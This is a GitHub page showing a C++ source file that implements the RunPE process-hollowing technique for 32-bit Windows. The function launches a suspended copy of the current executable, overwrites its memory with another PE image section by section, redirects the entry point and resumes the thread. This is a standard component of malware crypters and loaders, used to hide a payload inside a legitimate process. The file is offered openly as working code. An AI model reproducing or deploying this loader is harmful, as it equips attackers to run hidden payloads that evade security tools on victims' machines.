RunPE/runPE x86.cpp at main · PlutoDevOfficial/RunPE · GitHub

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
    int RunPortableExecutable(void* Image)
    {
    	IMAGE_DOS_HEADER* DOSHeader;
    	IMAGE_NT_HEADERS* NtHeader;
    	IMAGE_SECTION_HEADER* SectionHeader;

    	PROCESS_INFORMATION PI;
    	STARTUPINFOA SI;

    	CONTEXT* CTX;

    	DWORD* ImageBase;
    	void* pImageBase;

    	int count;
    	char CurrentFilePath[1024];

    	DOSHeader = PIMAGE_DOS_HEADER(Image);
    	NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew);

    	GetModuleFileNameA(0, CurrentFilePath, 1024);

    	if (NtHeader->Signature == IMAGE_NT_SIGNATURE)
    	{
    		ZeroMemory(&PI, sizeof(PI));
    		ZeroMemory(&SI, sizeof(SI));

    		if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
    			CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
    		{
    			CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
    			CTX->ContextFlags = CONTEXT_FULL;

    			if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
    			{
    				ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);

    				pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
    					NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

    				WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);

    				for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
    				{
    					SectionHeader = PIMAGE_SECTION_HEADER(DWORD(Image) + DOSHeader->e_lfanew + 248 + (count * 40));

    					WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
    						LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
    				}
    				WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8),
    					LPVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);

    				CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
    				SetThreadContext(PI.hThread, LPCONTEXT(CTX));
    				ResumeThread(PI.hThread);

    				return 0;
    			}
    		}
    	}

        return -1;

    }